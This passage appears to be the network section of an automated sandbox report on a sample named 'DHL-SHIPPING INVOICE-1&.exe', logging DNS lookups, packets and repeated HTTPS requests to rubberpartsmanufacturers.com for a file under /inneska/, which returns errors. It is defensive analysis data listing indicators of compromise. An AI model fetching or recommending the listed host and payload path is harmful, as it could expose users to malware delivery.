Oct 17, 2024 10:54:59.800291061 CEST	50094	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:59.800306082 CEST	443	50094	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:01.223754883 CEST	443	50094	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:01.247375011 CEST	50094	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:01.247458935 CEST	443	50094	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:01.616612911 CEST	443	50094	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:01.616656065 CEST	443	50094	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:01.616750956 CEST	443	50094	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:01.616930962 CEST	50094	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:01.616930962 CEST	50094	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:01.617743969 CEST	50094	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:01.618453026 CEST	50095	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:01.618505955 CEST	443	50095	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:01.618587017 CEST	50095	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:01.618838072 CEST	50095	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:01.618854046 CEST	443	50095	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:02.720838070 CEST	443	50095	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:02.722917080 CEST	50095	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:02.722953081 CEST	443	50095	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:03.906023979 CEST	443	50095	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:03.906060934 CEST	443	50095	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:03.906121016 CEST	443	50095	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:03.906168938 CEST	50095	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:03.906227112 CEST	50095	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:03.916892052 CEST	50095	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:03.935275078 CEST	50096	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:03.935369968 CEST	443	50096	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:03.935551882 CEST	50096	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:03.937376976 CEST	50096	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:03.937414885 CEST	443	50096	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:19.335380077 CEST	443	50096	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:19.338238955 CEST	50096	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:19.338299990 CEST	443	50096	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:19.705013037 CEST	443	50096	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:19.705044985 CEST	443	50096	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:19.705116987 CEST	443	50096	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:19.705178976 CEST	50096	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:19.705246925 CEST	50096	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:19.706338882 CEST	50096	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:19.707174063 CEST	50098	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:19.707226038 CEST	443	50098	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:19.707313061 CEST	50098	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:19.707622051 CEST	50098	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:19.707638025 CEST	443	50098	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:20.802267075 CEST	443	50098	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:20.805003881 CEST	50098	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:20.805043936 CEST	443	50098	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:21.177921057 CEST	443	50098	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:21.177949905 CEST	443	50098	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:21.178023100 CEST	443	50098	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:21.178095102 CEST	50098	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:21.178162098 CEST	50098	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:21.178848982 CEST	50098	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:21.199884892 CEST	50099	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:21.199943066 CEST	443	50099	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:21.200012922 CEST	50099	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:21.200479031 CEST	50099	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:21.200495958 CEST	443	50099	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:22.322341919 CEST	443	50099	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:22.324800968 CEST	50099	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:22.324840069 CEST	443	50099	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:22.713294983 CEST	443	50099	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:22.713335991 CEST	443	50099	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:22.713407993 CEST	443	50099	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:22.713428974 CEST	50099	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:22.713463068 CEST	50099	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:22.714170933 CEST	50099	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:22.715007067 CEST	50100	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:22.715049982 CEST	443	50100	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:22.715145111 CEST	50100	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:22.715490103 CEST	50100	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:22.715507030 CEST	443	50100	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:23.846757889 CEST	443	50100	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:23.849081039 CEST	50100	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:23.849117994 CEST	443	50100	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:24.225095034 CEST	443	50100	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:24.225127935 CEST	443	50100	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:24.225204945 CEST	443	50100	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:24.225395918 CEST	50100	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:24.225492001 CEST	50100	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:24.226825953 CEST	50100	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:24.228328943 CEST	50101	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:24.228427887 CEST	443	50101	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:24.228578091 CEST	50101	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:24.228988886 CEST	50101	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:24.229027987 CEST	443	50101	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:25.395545959 CEST	443	50101	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:25.397470951 CEST	50101	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:25.397511005 CEST	443	50101	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:25.789927006 CEST	443	50101	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:25.789956093 CEST	443	50101	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:25.790018082 CEST	443	50101	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:25.790077925 CEST	50101	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:25.790142059 CEST	50101	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:25.791054964 CEST	50101	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:25.791784048 CEST	50102	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:25.791824102 CEST	443	50102	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:25.791965961 CEST	50102	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:25.792237997 CEST	50102	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:25.792265892 CEST	443	50102	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:26.956341028 CEST	443	50102	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:26.958741903 CEST	50102	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:26.958777905 CEST	443	50102	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:27.338315964 CEST	443	50102	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:27.338351965 CEST	443	50102	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:27.338460922 CEST	443	50102	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:27.338505030 CEST	50102	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:27.338567972 CEST	50102	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:27.339227915 CEST	50102	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:27.339803934 CEST	50103	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:27.339879990 CEST	443	50103	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:27.341669083 CEST	50103	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:27.341929913 CEST	50103	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:55:27.341953993 CEST	443	50103	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:28.481105089 CEST	443	50103	103.191.208.122	192.168.2.6
Oct 17, 2024 10:55:28.525296926 CEST	50103	443	192.168.2.6	103.191.208.122

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 10:52:19.666939020 CEST	54315	53	192.168.2.6	1.1.1.1
Oct 17, 2024 10:52:20.168617964 CEST	53	54315	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 17, 2024 10:52:19.666939020 CEST	192.168.2.6	1.1.1.1	0x22ef	Standard query (0)	rubberpartsmanufacturers.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 17, 2024 10:52:20.168617964 CEST	1.1.1.1	192.168.2.6	0x22ef	No error (0)	rubberpartsmanufacturers.com		103.191.208.122	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rubberpartsmanufacturers.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:21 UTC	100	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com Connection: Keep-Alive
2024-10-17 08:52:21 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:21 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:21 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:22 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:23 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:23 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:23 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49713	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:24 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:24 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:24 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:24 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49714	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:25 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:26 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:26 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:26 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49715	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:27 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:27 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:27 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:27 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49717	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:28 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:29 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:29 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:29 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49723	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:30 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:30 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:30 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:30 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49734	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:31 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:32 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:32 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:32 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49741	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:33 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:33 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:33 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:52:33 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49747	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:52:34 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:52:35 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:52:35 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
